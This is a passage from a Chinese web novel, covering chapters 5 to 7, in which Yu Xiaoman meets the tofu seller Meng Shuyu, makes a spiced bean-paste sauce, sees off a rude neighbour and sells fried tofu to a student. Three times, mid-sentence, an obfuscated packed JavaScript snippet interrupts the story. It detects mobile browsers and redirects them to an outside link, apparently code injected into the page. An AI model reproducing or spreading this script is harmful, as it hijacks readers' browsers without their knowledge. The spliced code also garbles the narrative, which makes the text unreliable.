酒楼里都卖上炙肉了，这豆腐的制作方式，早就应该被琢磨透了。 只能走薄利多销的路子，而且可替代性很高。 只是比起炙肉来要方便太多，而且家里有的是黄豆，几乎是没有成本的。 唐瑛盯着桶里的被泡的表皮褶皱的豆子看了一会，没说什么，而是领着余小满往外走。 晨光氤氲，天色清朗，偶有马车路过，马蹄踏在青石板上，发出哒哒的清脆声响。 相邻的铺子陆陆续续都开门迎客，不远处的桥头，买卖交易早已火热，人群熙攘，商贩的背篓竹筐里盛满了柔和的金灿。 中原大地上最为繁华的都城，正在晨光中逐渐苏醒。 这样的景象叫余小满还是忍不住驻足感叹了一会。 待余小满意犹未尽地收回目光，唐瑛朝她招招手：“走吧。” 她们的铺子位于长街偏南端，走上几步便就到了岔路口，不远处有一建筑格外吸引人眼球。 朱门高墙，红砖青瓦，栩栩如生的汉白玉狮子一左一右守着大门，怒目圆睁，好不威武。 门口马车不断，脚下的青石板都被踏得圆润反光，只是门口金灿的牌匾被晨光糊成一团金灿，看不清上面的字。 余小满好奇：“这是什么地方” “国子监。” 嚯！ 余小满一下子瞪大了眼睛，这就是传说中的最高学府啊！ 她忍不住又回头看了一眼家里铺子的位置，对这坊市之间的布局又有了新的认识。 这不是妥妥学区房吗？ 唐瑛发现余小满没有跟上，而是站在原地发愣，忙招呼道：“小满，这儿。” 余小满三步并作两步地跟上，排进一条不长不短的队伍中。 这个铺子比她们家那只能供两个成年男子并肩通过的铺子还要窄，并没有门，能看见铺子里零碎堆放着些东西，勉强供一人侧身通过。 顶上也并没有和旁边铺子一样盖着青瓦，只是简单用稻草扎了一个屋顶，勉强的遮风挡雨。 比起说铺子，这更像是一条狭窄的废弃小巷。和周围繁华的一切显得是那么格格不入。 今日天气晴朗，桌子便摆在了外面，不必缩身于狭窄的走道中。 摊主是个女人，一袭荷色窄袖罗衫，鬓发被整整齐齐归顺到了耳后，青丝之间只佩戴了一支最为朴素的竹簪，除此之外，全身上下再无多的饰品了。 侧目转身的时候，腰肢好似三月杨柳，随风微摆。不经意地抬手，都充满了风韵。 她眼波含秋，双眉微蹙，薄唇微抿着，脸上并无任何笑意，反而是酝着化不开的愁思。 这般冷艳的美人，叫余小满看呆了眼。 队伍又往前走了两步后，她的目光才落在了桌上的案板上。 案板上躺着的，是白嫩饱满、冒着热气微微颤抖的……一大块豆腐。 没来得及等余小满多看两眼这豆腐里的门道。 只瞧见，一双纤细白皙、指关节却有些微微变形的手搭上豆腐，极其利落地切块，装到了客人递上来的白瓷碗中。 而后女子将手里的刀往桌上一放，朗声道：“不好意思，今日的豆腐已经卖完了。” 她声音清脆，像是在山泉中浸过一般的清泠。 此话一出，余小满的前后左右顿时此起彼伏响起来叹息声。 还有一短褂的男子不甘心地越过余小满，挤到桌前：“孟娘子，我大老远过来一趟也不容易，你看看能不能通融通融，多少卖我个一块半块的，也好让我回去和媳妇交差啊。” 女子眉间的沟壑深了些许，她抿了抿唇，有些为难道：“抱歉，是真的已经卖光了。” 在场等着想要看看还有没有机会的人，也就叹息两声，而后挎着小竹篮散开了。 只余下没反应过来的余小满和唐瑛站在原地。 这旁的商家铺子的门都还没打开呢，这就已经卖完了？ 这豆腐……就这么好吃吗？ 唐瑛轻声解释：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811338|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她叫孟舒玉，做的豆腐是这附近最受欢迎的。” 虽然没有尝到这豆腐到底味道如何，但光是大清早这个排队的情况，若真的打算卖豆腐，孟舒玉绝对是个实力强劲的竞争对手。 余小满轻啧一声，这刚起了个头的方案再次被掐断了。 “小满姑娘？” 本清冷的声音杂着惊讶和喜悦，从山涧石缝一下跌进了暖泉里。 余小满诧异地抬头，只见孟舒玉停下了收拾的动作，正含笑看着她。 孟舒玉本就生得极美，这么一笑，眉眼间是瞬间盛满了人间芳菲。眼尾微微的细微漾开笑意，和煦地叫人只觉得身心舒畅。 褪去了原先的清冷后，竟是如此明艳美丽，晃得余小满有些回不过神来。 一天相处下来，唐瑛已经有些习惯了余小满不着调的作风了，她朝着孟舒玉颔首：“抱歉孟姐，小满她昨天摔跤磕到脑袋了，现在反应有点慢。” “啊？” 孟舒玉惊呼一声，忙拿起帕子擦手，脚步急切地就要上前查看。 “我没事我没事。“眼看着孟舒玉眼中的急切就要溢出来了，余小满忙摆手解释：“谢谢孟姐关心！” 孟舒玉依旧紧锁着眉，担忧地追问：“当真没事？” 被这样的大美人关切询问身体情况，余小满不愿显得自己虚弱，忙昂着头，拍着胸脯应：“没事，能吃能喝能跑能跳的！” 孟舒玉从不曾见过这样的余小满，她怔了一瞬，而后不可思议地瞪大双眸。 唐瑛忙道：“孟姐莫要见怪，我昨天都被她这样吓一跳，你看是不是鲜活许多啊。” 这是她们昨日商量好的，余小满自知演技不好，没法端出原先的那股劲儿。便一律对外宣称是撞着了脑袋，想开了很多事情，就此转性了。 孟舒玉不疑有他，眉眼带笑地盯着余小满看了一会，连连感叹了几声“真好啊”。 随即她像想到了什么似的，留下一句“稍等片刻”，便转身脚步轻盈地进了铺子里。 再出现时，她的手里提着个小竹篮，身后跟着一个半大的少年。 少年的眉眼和她很像，即使年纪不大，也依旧能从稚气的五官中看出几分温润如玉的俊朗。 “来，拿着。”孟舒玉动作轻柔地拉过余小满的手，将小竹篮递到了余小满的手里。 余小满低头一看，小竹篮下垫着一块纱布，上面装了方方正正的豆腐，正因为推搡的动作而发着颤。 “不是已经卖完了吗？” “这是准备中午炖汤的，刚好子安最近有些吃厌了，你拿走，他还得偷着乐呢。” 孟舒玉提起那少年时，嘴角不自觉便扬了起来，眼中灿若星辰，是藏不住的骄傲。 而少年突然被揭了短，耳尖一红，不愿面对。便只好转头和余小满打招呼。规规矩矩地躬身见了礼。 “小满姨，唐姨。” 余小满一只脚还懒散地搭着人家桌子腿，猝不及防地被喊了一声，有些狼狈地收起七扭八歪的腿和腰，整了整衣裳，确保自己是得体合适后，才回了少年一礼。 照理说街坊邻居之间这样的赠礼，不管能不能收下，也总是要推脱一下的。 可余小满刚想要开口，就被唐瑛轻轻扯了扯衣袖制止住了。 她瞬间懂了唐瑛的意思，忙道谢：“那就谢谢孟姐，这篮子我回头给您送回来。” 告别之后，唐瑛领着余小满继续往前走去，在一家馄饨铺子前坐下了。 点了两碗馄饨后，唐瑛撑着下巴，目光落在桌上的豆腐上 “你还打算卖豆腐吗？” 5. 秘制酱料 余小满素白的手一摊，介绍了起来。 “姐，你看这豆腐，很自然的白嫩，表面有光泽，没有气孔，凝脂杨的触感。闻起来没有豆腥，只有一股清香。不用尝都知道是一块很美味的豆腐了，甚至空口尝都能好吃。” 不管是炖汤还是炒菜，都是很棒的存在。 余小满曾经也做过豆腐，自认也能做到这种程度。但毕竟这也只是豆腐，上限就摆在这里。 他们两家的铺子离得太近了，若非真的急着用，食客们怕是宁愿第二天起早一点，去孟舒玉的摊子排队，也不会轻易换一家店买的。 于是余小满很快就将注意力转移到了其他的地方上。 “姐，你说这孟娘子，为什么要送我们豆腐啊。” “因为你曾经帮过她们家一次。那个叫孟子安的孩子，是她的儿子。” 余小满惊呼一声：“我还以为是她的弟弟呢，这真的看不出来啊。” 孟舒玉看着不过二十多岁的样子，竟有个这么大的儿子了。 “她丈夫好酒好赌，从前总是殴打她们母子。一次赌完回家失足落水死掉了。孟舒玉就带着儿子搬到了京城，豆腐铺子是她过世的姨母留给她的，原本是荒废着的。” 而余小满和孟舒玉之间的相熟也是有些荒唐离谱的。 原先的那个余小满虽循规蹈矩、恪守礼仪，却并不反对女子出门抛头露面的做生意。 相反的，她还格外支持这些女性，在孟舒玉最早卖豆腐的时候，便常去光顾。 只是孟舒玉容貌太过出众，孤儿寡母的容易遭人惦记。 明里暗里的暗示不说，国子监那些荫监生中就有不少混不吝的，竟直接到孟舒玉的摊子前说些不堪入耳的荤腥话。 孟舒玉性子清冷，想着以大局为重，咬咬牙想要忍过去。 可偏偏那日，余小满也在场。 她最见不得这样恃强凌弱的场面，直接站出来一人舌战众监生，言辞犀利但引经据典，语气温和，但有理有据地将这群青年训到甚至回不上嘴。 这画面被路过的国子监司业看见，当场便处分了这几个监生。并夸赞余小满逻辑清晰、颇具文采。 这本不是一件大事，但前来骚扰孟舒玉母子的人确确实实少了很多，孟舒玉的儿子孟子安在书院里，也不再被人指指点点的议论。 孟舒玉是打心底里的感激余小满，在街坊邻居都背地里议论余小满是个怪人的时候，她一直都毫无保留地朝着余小满表达善意。 “原来如此。”余小满恍然大悟，随即感叹道：“不愧是我啊！” “我叫你别再推辞，是怕说多了露馅。孟子安年纪虽小但太过聪慧，过几年应该就能应试进入国子监了。你站出来维护他们母子一回后，那孩子一直敬重着你。他若是觉得你性情大变的原因有古怪，怕是要刨根问底下去的。” 谈话间，两碗馄饨也端了上来。 汤底是清透的浅浅褐色，表面浮着一层薄薄的油，馄饨个头并不大，表皮被煮到微微发透，在水里浮沉荡漾。 余小满轻轻拨弄了一下勺子，先是舀起一小勺汤，吹凉后抿了一口。 很鲜美，酱油、猪油和很少很少的一点的盐巴。 而馄饨馅料的调味很淡，重点突出了肉本身的鲜美，并且馄饨馅是紧致弹牙的，馄饨皮在舌尖打了个转便下肚，只叫人觉得意犹未尽。 余小满一口气吃完了一大碗，方才长舒一口气，直呼过瘾。 这一碗馄饨下肚，胃里暖洋洋的，额间出一层薄汗，浑身都有劲起来。 她朝着唐瑛感叹道：“这真的是好吃，我们卖馄饨也没绝对生意啊。” 唐瑛被她逗笑了，知晓余小满并不会因为欠债的事情过分担忧，便直截了当地反问道：“你原本打算过卖馄饨吗？” 余小满思索了片刻，实诚道：“那倒也没有。” 虽说是到现在没想清楚要卖什么，但余小满在急了一夜之后，现在已经良好的接受了一切了。 她甚至慢悠悠和唐瑛一起在附近逛了一圈。 胡饼、夹馍、羊肉汤…… 摊贩有老有少、有男有女、甚至还有卷发碧眼的外乡人。 并没有对年龄、性别和华夷的偏见和歧视，所有人脸上写着的，全是对招揽客户的渴望。 若是手头有点小钱、又不考虑这欠债的事情，长安城简直是理想中的宜居圣地。 余小满一手把玩着新鲜的翠绿莲蓬，一手稳稳当当提着豆腐，在兜转了一圈之后，回到了自家铺子。 莲蓬是在一个小姑娘那里买的，因为是最后一个，小姑娘又急着回家，所以只花了一文钱。 余小满很喜欢，也没舍得就这样剥开，到家后的第一件事情便是找了个盆打上井水，将莲蓬安放了进去。 “小满，我去米铺买点米面回来，你在家先捣鼓着啊。” “诶！好的！” 余小满目送唐瑛从后院出门后，端着大大小小的碗，一头扎进了放香料的屋子里。 早上泡下的黄豆只是微微起皱皮，若是真要做豆腐，也还是需要再泡一会。 依旧是没什么想法，但余小满决定先研究一下香料，试试手感，看看能不能手动调配一个五香粉出来。 五香粉的“五香”其实并无严格规定，也并不是只有五味香料，只是一个统称罢了。 花椒、八角、小茴香和丁香，都是常见的香料。 大多数的香料磨成粉后，香味会在短时间内迅速挥发。 显然余大河在收购时也明白这一点，所有的香料都干燥的彻底，并且并未经过研磨。 余小满又挑拣了一些陈皮和胡椒，端着碗回到了院子里。 她并不太会用土灶，好在唐瑛似乎是考虑到了这一点，在小灶台上温着一壶热水。 余小满低头一看，乐了。 灶膛里，黑黢黢的炭表面时不时涌动着星星点点炽热的红光。 这就好办了，塞两把助燃的松针，即使是余小满这样很少接触土灶的人，也能够点上火。 生火是想要将整粒的花椒加温烘炒一下，只需要最小的火，让花椒里的油质预热挥发出来，最大可能的激发香味。 做完这些准备工作之后，余小满在厨房的角落里找到一个石臼，颇为费劲地将石臼搬到院子里。 眼下没有克数称，各种香料要放多少只能看着来。 余小满谨慎地倒入香料，又严谨的取出来几颗，以确保配比合适。如此重复了好一会，才拿起了石杵。 研磨香料是个机械重复但需要耐心的活。 而余小满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811339|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个思维跳脱的人，手上动作不断，但思绪已经翻了好几页了。 刚刚在路过猪肉铺的时候，看见了一桶新鲜的猪下水。很显然京城百姓对猪下水的接受程度并没有那么高。 猪杂是个很好的选择，家里现在也不缺香料。 只是处理起来会很麻烦，而且香料究竟能不能压住内脏里的浓厚的味道，也需要先做尝试，没那么快的可以直接拿出来售卖。 不过猪杂煲还是很香的。 这么想着，竟有些嘴馋起来了。 余小满目光晃了一圈后，落在了桌上的豆腐上。 她突然想到，昨日翻来找去，在屋内找到的两口坛子。 打开一看居然是豆瓣酱，据唐瑛所说，是前段时间余大河刚从川蜀带回来的。 豆瓣酱中又以郫县豆瓣酱最为出名，这地理位置对上号了。而这能叫余大河千里迢迢的带回京城的，一定是好东西。 石臼里的香料已经被研磨的细碎，余小满当机立断，决定煎个豆腐给自己解解馋，也好叫唐瑛尝一下她的手艺。 正好院子里的缝隙处也被唐瑛见缝插针的种上了香菜和芹菜。 这两种从中亚传来的作物，已然进入了寻常百姓家了。 香菜芹菜切段，生姜切片，又将蒜头切成末，便起锅下油。 家里是不缺油的，因为先前那一批被官府押送回来的黄豆并没有找到售卖的方法，只好全送去榨成豆油了。 这么一看，家里除了没钱，倒也是什么都不缺，只要不欠钱的话，根本饿不着。 炸好的生菜香菜芹菜，是要捞出来的，再倒入蒜末炸至酥黄。 等到豆瓣酱接触到热油的一瞬间，呲啦作响，香味也瞬间被高温激发出来。 咸香浓郁，横冲直撞地往鼻尖窜。 这是人本能的对咸味的渴望和对香料的喜爱。 余小满边搅拌着，边细细闻了闻，确保这个味道和她想象中差不多后，方才松了口气。 加入刚研磨好的五香粉，最后在沿着锅边缓缓倒入一碗水淀粉，这秘制酱料就算成了！ 不管是炒菜还是炖菜，都可以加上一勺用作调味。 所以余小满特意多熬了一些，装进陶罐里封口，能吃上好一会。 忙完这些，余小满已经满头大汗。 但秘制酱料的香味让人亢奋，她顾不上歇息，前前后后找了一圈的锅。最后盯上了铺子里用来炸黄豆的大锅。 虽不是平底锅，但底部已经比一般的锅要平整了。并且口径够大、又够高，不会随便溅油。 余小满仔细看了一圈，感到非常满意。 只是她估摸着自己搬不动大锅的，索性将油和酱料都抱到了铺子里。 铺子门大敞着，时不时有过路的行人被铺子里的动静吸引，投来好奇的目光。 但余小满此时哪还顾得上旁人的目光，她的一颗心都黏在了豆腐上了。 切成长方块的豆腐下锅发出“滋啦”声响。 用长筷拨动的时候，能感觉到豆腐逐渐的定型，表面浸在油里，慢慢变得金黄、焦脆。 余小满很享受这个变化的过程，是全身心地投入其中。 以至于有人直接进了铺子，她都没有发现。 直到那人开口：“小满？” 6. 香煎豆腐 余小满一惊，倏得抬起头来。 却见孟舒玉站在铺子里，挎着一个小竹篮，微微蹙眉，看向她的眼中有些担忧。 余小满咧嘴一笑，大大方方地打招呼：“孟姐。” “刚把子安送去书院了，他说昨个瞧见了商队那一伙男人往你家后院去了。” 孟舒玉将篮子放在一旁的长凳上，目光落在余小满的身上。 “唐瑛说你磕到头了，是不是和他们有关系？” 这语气神态虽看着淡，但和昨日的唐瑛是一模一样。 余小满只觉得心头被一抹暖流填充地满满当当的，她立刻放下手里的长筷，柔声解释。 “是我自己磕到的。他们没对我做什么，只是我兄长在外面欠了点钱，说几句好话，那大哥就多给了我一点时间筹钱。” 说了几句……好话？ 孟舒玉不敢想象自己听到了什么，虽知道余小满性格不同于从前，当她仍无法想象余小满说好话是个什么样子。 只是不等她反应，铺子门口传来两声极为轻蔑的嘲笑声。 只见一个身着藕色齐胸襦裙、身材圆润的中年女子，和戴幞头、身着圆领襕衫的半大青年站在了铺子门口。 他们侧着身，像是偶然路过，听见余小满的话后才停下脚步的。 铺子地势略高一些，门口有几方台阶。 可即使站在台阶之下，他们二人的目光依旧高高在上，并未因为高度在气势上落后半点。 “多给你点时间有什么用，整天端着股架子，就你卖这炸黄豆，再给你多少时间都还不上几十两的债。” 那女人睨了余小满一样，目光如同荆条一般带着刺，上下在余小满身上划拉着，眼中满是挑剔。 而后像是得出什么结论一般，她轻笑一声：“装什么清高，最后还不是求着要嫁人。” ？？？ 余小满满脸疑惑，完全没听懂她在说什么。 她什么时候求着嫁人了？她自己怎么从来没有听说过这件事？ 她的沉默，像是鼓舞了那中年女子身后的青年。 只听见他朝着余小满一拱手，声音嘶哑，语调却是掩饰不住的兴奋：“小满姑娘你莫急，你我二人是缘分未了，你先前羞怯，小生宽宏大量，是能够理解接纳……” 这变声期的公鸭嗓，这满口文绉绉的话，听得余小满太阳穴直突突。 她干脆利索地打断：“谁跟你缘分未了？” 大概是声音太过洪亮、语气又十分强硬，青年怔了一瞬，满眼不可思议瞪大眼睛。 “有病去回春堂治，少在我铺子门口发疯！” 余小满说完，一把抄起靠在一旁的大扫帚，佯装扫地的样子，实际上挥出的每一下都目标明确，直奔那青年而去。 这二话不说直接动手的彪悍作风，给青年急得像河塘里出水的青蛙一般，狼狈地窜到一旁。 他嘎嘎直叫：“粗鄙！粗鄙！” 一旁的那妇人急得叉腰骂道：“你个小女子不要不知好歹！我儿来日金榜题名，你就是想求，都摸不到我家门槛！” 余小满懒得跟她废话，她站在台阶上，一手杵着大扫帚，一手指了个方向。 “回春堂往这个方向走！可别走错了！” 这动静不小，过路行人纷纷投以好奇的目光，甚至手头没有急事的，已经停下脚步来张望了。 如此大庭广众之下，这对母子显然比余小满更要面子。 他们脸上的脸上青红交加，羞愤和厌恶相互交织，还是咬牙切齿地低头快步离开了。 望着那有些狼狈的背影，余小满长舒一口气。 她当然想知道这两个莫名其妙冒出来的人，为什么会对她说这样的话，又怎么知道余大河欠钱的事情。 只是她将唐瑛的话记在心里，怕说多错多。用了最干脆果断的方式驱赶走了二人。 可一回头，就见孟舒玉的一双美眸瞪得圆润，脸上写满了不可思议和错愕。 余小满顿时心里咯噔一下，她有些慌张无措地放下扫帚想要解释，却听见锅里传来清脆的两声“噼啪”声。 “我的豆腐！” 这会哪还顾得上孟舒玉有没有起疑心，余小满三步并作两步走到灶台前，抄起了长筷。 好在油倒的够多、火也并不是很大。 将豆腐翻过面后，并没有令人担心的焦黑，而是在边缘咕噜冒泡的热油中，煎出了一层金灿的脆壳。 筷子轻轻拨弄，能听见酥脆的沙沙声。 这简直是世间最美妙动听的声音！ 余小满长舒一口气，没等她想好要怎么应付孟舒玉，就听见她细声细语地询问。 “小满，你是不是没想起来这两个人是谁啊？” 唐瑛早上刚解释过余小满摔了脑袋反应有点慢，孟舒玉非常自然地便接受了这个情况，轻声给她解释起来。 “那是赵婶子和她儿子赵岗，住在后面那条街。她儿子还算有点出息，自己考上了国子监。自那之后，赵婶子就不拿正眼看人了。” 原来那个公鸭嗓青年身上的幞头襕衫，原来是国子监的“校服”啊。 “那赵岗先前对你有点想法，被你和唐瑛拒绝了两次之后，便恼羞成怒了，他们一家行事作风便是如此，你莫要放在心上。” 在余小满出声打断赵岗的时候，孟舒玉就想要伸手护住余小满了。 毕竟从前出面阻拦拒绝的人一直都是唐瑛。 余小满为人太过于正直守礼，满腹经纶和国子监的三五个书生尚有一战之力，可碰上赵婶子这种不讲理的，谁越想要体面，谁便就落了下风了。 谁曾想余小满就这样直白果断地出手了。 这惹得孟舒玉还有些愧疚起来，唐瑛不在，她竟也没能帮上余小满什么。 “原来如此！”余小满恍然大悟。 难怪那二人一副施舍的姿态，怕是不知道从哪打听来余大河欠债的消息，想要趁人之危呢！ “多谢姐姐告知我。”余小满指了指锅里的豆腐：“你来的正好，稍等片刻，马上就可以出锅了。” 孟舒玉推辞：“不用了，你是要拿出来卖的，怎么好叫我先吃了去。” “我不卖的，只是想试一试刚调配的酱汁的味道，解解自己的馋瘾。” 余小满生怕她就要走，加快了手上的动作，将一旁已经备好的酱料倒进锅里。 “真的不……” 孟舒玉话说到一半，便被这酱汁入锅的声响打断。 她再想开口拒绝，竟不自觉想咽了咽口水。 太香了，实在是太香了。 是那种直冲人天灵盖而去的味道，叫人觉得眼前一亮。 香辛味激得人精神都猛得亢奋了起来，忍不住深呼吸两口感受这浓郁味道的香。 孟舒玉自觉并不是口腹之欲很强的人，平日里饮食清淡，并无特别的喜好。 但此刻，置身于这锅咕嘟冒泡的煎豆腐之中，她发现自己竟说不出任何拒绝的话，甚至视线都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811340|175252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些不受控制的往锅里落。 这一锅豆腐，实在是太漂亮！ 只见余小满拿起锅铲，将豆腐铲到盘子里的同时，也捎带了一些浓稠油亮的汤汁。 “快尝尝！” 余小满的眼睛很亮，赤诚又充满期待。 这让孟舒玉感到陌生，但转瞬之后，又觉得无比亲切。 从前总觉得和余小满说话会有压力，在这样明显读过书的人面前，若是说错话、失了礼节，总叫人觉得是很冒昧的事情。 但现在还真像是寻常的街坊邻居那样，两个人之间的距离也变得亲密很多。 再推辞下去，倒也不合适了。 “那就多谢小满了。” 孟舒玉接过盘子后道谢，这一盘豆腐分量不少，显然是将孟子安的那份算上了。 街坊邻居之间互送刚烹好的菜，是很寻常的事情。 只是这菜是从余小满手里接过来，还真是头一回。 而且捧在手里之后，那香味越发的浓郁，像有一双爪子在人心头直挠挠。 她拿起筷子，夹起最上面的豆腐。 表面原本焦脆的外壳吸收了酱汁，牙齿碰到的一瞬间，酥脆却又柔韧。不等人反应，舌尖便陷入了凝脂一般柔软的豆腐之中。 酱汁是微辣的，像是在舌尖点了一把火，却又被绵软清香的豆腐轻轻安抚。 这般极具冲击的味道，在云端和炽热泉水之中仿佛地徘徊挣扎，直叫人回不过神。 等到孟舒玉反应过来，已经不知何时吃完了这一块煎豆腐。 她感慨道：“小满，你有这手艺，卖什么炸黄豆啊。” 孟舒玉并不很能吃辣，她脸颊微红，薄唇更是变得绯红。 余小满忙从陶壶之中倒了凉水，递了上去。 “我先前带子安去醉仙楼吃过一回那炙肉，我真觉得不及你的豆腐美味。” 大豆制品向来都是仿制肉类的第一选择，只是这般直白的夸赞，叫余小满实在是有些惊喜。 没有厨子不爱听别人夸奖菜的。 余小满还没来得及开口说话，嘴角就已经快要咧到耳根了。 “你可以考虑考虑卖这煎豆腐，当真是叫人觉得眼前一亮。” 卖……煎豆腐？ 这话像是从云端射出的箭簇，截断了全部的思绪。 寂静一瞬之后，脑子里有什么东西轰然倒塌，余小满只觉得眼前突地一亮，似乎是豁然开朗了起来。 见她两眼发直地愣在原地，孟舒玉便轻声开口道别，不再打扰余小满思考。 孟舒玉走后好一会，余小满才缓缓回过神来。 屋内因为生火了的缘故，实在是有些热得发闷。 她给自己夹了片豆腐，一手端着碗，一手握着筷子，坐在了铺子门口的台阶上。 恰好屋檐投下阴影，青石板的台阶不至于烫得坐不下人。 风迎面吹来，虽夹杂着烈日的温度，却也驱散了身上的暑气。 余小满本一身汗，被这风一吹只觉得浑身凉快，舒服的直眯眼睛。 她夹起豆腐，细细品尝了起来。 不得不承认，孟舒玉的豆腐，却是有过人之处，柔嫩清爽，没有一点豆腥味不说，甚至还带着股清香。 这豆腐像是上好的极品宣纸，方才能完美地呈现出香料酱汁浓墨重彩的笔墨。 酱汁的味道也刚刚好…… 余小满正思考着要不要改动一下酱汁的配方，眼前却晃过玉色的一角襕衫。 7. 第一桶金 余小满还以为是赵岗那厮回来发疯了。 她将筷子往碗上一摞，伴随“啪嗒”一声脆响，气势汹汹地站起身来。 可对上的确是一双圆润到有几分稚气的眸子。 甚至脸颊的线条也格外柔和，同样的襕衫幞头，穿在他的身上就赏心悦目许多，看起来就是一个完全人畜无害的少年。 再仔细看，他身上的襕衫缘边是藏青色，和赵岗襕衫上的天青色还有个深浅之分。 “小满姑娘？” 那少年有些疑惑地歪了歪头。 他的嗓音清亮，显然是还没有到变声期。 余小满这原本都已经酝酿好的火气，一时间没了地方撒，她只好急忙全都咽下，佯装无事发生扯出一个笑来。 “小公子。” 余小满对熟面孔，只有些隐约的记忆，有唐瑛在是无须担心。 现在唐瑛不在，她得非常努力的思索上一会才能想起点什么。 刚刚赵岗母子来得突然，压根没给她思考的时间。这面会对这少年，倒是很快想起了些东西。 是她炸黄豆为数不多的熟客之一，是个家世不错的小少爷，似乎是叫罗文。 家中长辈品阶挺高的，具体是什么余小满也没想起来。他的身后还跟着一个小厮，光是从小厮的衣着，就能看出家境不凡。 余小满非常自然地问道：“今日怎么没乘马车啊，这个点去国子监赶得上画卯吗？” 这突如其来的关心，打了罗文一个措手不及。 来买这么多回炸黄豆，可从来没有听余小满用这样的语气说过话。 他只觉得十分新奇，又生怕余小满在套他的话，答的有几分小心翼翼。 “胡博士不在书院里，今日不点卯，也没有课。” 天底下还有什么比老师不在、早八不点名、只自习更好的事情！ 余小满笑道：“那真是不错！” 这就绝对不是余小满能说出来的话了。 罗文一皱眉，顿时警惕起来，问道：“你难道不应当劝我，人当修身自省、惜时勤学？” “那人也不能一辈子修身自省吧，活得也太累了一点。” 余小满知道他定是要质疑，便抬起手，指尖点了点太阳穴：“磕了一下脑袋，想开了。” 她越是坦荡，引起的怀疑就越少。 罗文确实也就只是惊奇了一会，感慨了两声“想开了也挺好的”，倒也没再追问，而是盯着余小满手里的碗看了过去。 “刚就想问了，什么这么香？不像是炸黄豆的味道啊！” 他说着还不断往里探头，企图看清楚灶台边摆着的东西到底是什么。 “今日没有炸黄豆。”余小满摆摆手，将碗口碗外倾了倾，给罗文看碗里的半块豆腐：“这是煎豆腐。” 酱汁在阳光下泛着光亮，缓缓沿着豆腐表面炸得金黄、又吸饱酱汁的沟壑流淌。 罗文顿时便挪不开目光了，他开口：“怎么卖？！” 刚有要卖煎豆腐的想法，这食客便送上门了。 就没有生意送上门还不做的道理，余小满大脑飞速运转，当机立断地定了价。 “五文一块，十文三块。” 这个价格是偏高的，毕竟十文钱都能买上一斗米、或者四五个煮好的鸡蛋了。 豆腐看似不值钱，但香料的价格实在是不便宜，醉仙楼的一串炙鸡就要十几文，她这么定价，倒也不算黑心。 更何况，因为是自己吃的缘故，一块豆腐足有余小满半个手掌大，算得上是实诚了。 罗文没有立刻决定，他思索了一会：“先来一块，我尝下味道。” 这个定价看似只是余小满随口提出来的，但罗文很快就意识到了其中暗藏玄机。 充分的利用食客想要花更少的钱买更多东西的想法，原本五文只能买一块，但你只需要再花五文，就能买到两块。 同样的价格买双倍的东西，绝大部分的食客应该都会选择后者。 他再看向余小满的眼神已经有些变了。 不仅饱读诗书，在做生意上居然还有这样的巧思，当真是不一般。 余小满并不知道罗文在想什么，她夹了一块豆腐放到白瓷小盘，询问：“现在就吃？” 在罗文点头后，她便取了一双干净筷子，一并递了上去。 而后又忍不住询问道：“你难道不觉得，买三块更省钱一点吗？” “比起省钱，我更在乎好不好吃。” 罗文说完，便夹起豆腐送入嘴中。 他脸上先是闪过一丝惊讶，而后拧着眉头，竟一边咀嚼，一边闭着眼睛沉思了起来。 一直到吃完整块豆腐，罗文才猛得睁开眼睛，将碗筷放下后，立刻朝着身后的小厮招招手。 小厮立刻掏出荷包。 “还有多少煎豆腐，我全都要了。” 余小满的动作一顿，有些不敢相信自己听到了什么。 锅里的豆腐虽不多，却也还有将近十块。 这么大的豆腐，她吃上一块就已经半饱了，这少年怎么可能一口气吃下那么多。 “不差钱也不能胡吃海喝吧” “我要带去国子监和同窗一块用。” 大概是这豆腐实在合胃口，罗文有些意犹未尽地舔了舔唇角，话也多了起来。 “家里的菜清淡，馔堂为了照顾博士们的口味，也是真的寡淡。你的炸黄豆用得香料是全长安最好的，最适合茶余饭后给嘴里添点味道，这豆腐更是不输给醉仙楼的炙肉。” 余小满当即便明白了，这少爷也是个懂吃的人。 在如此众多香料初兴起之时，便能品出好坏区别来，这是绝对的天赋了。 只见小厮将手里提着的匣子放下，直接打开了最上面的盖子。 余小满定神一看，这竟是个食盒。 甚至似乎还有加热的功能，一打开，热气直往上冒。 “少爷，没有空碗了。” “把糖糕拿出来。” 小厮动作极快，不等余小满反应，便已经将雪白柔嫩的糖糕全都夹到了店里的盘子上。 “糖糕就送给小满姑娘了。” 不等余小满推辞，罗文又笑道：“我很喜欢这煎豆腐，你接着卖下去，定能赚大钱。这以后的哪日我若是来晚了，还望小满姑娘记着我这老主顾的人情，替我行个方便，留上一份。” 罗文年纪轻轻，讲话可实在是周到。 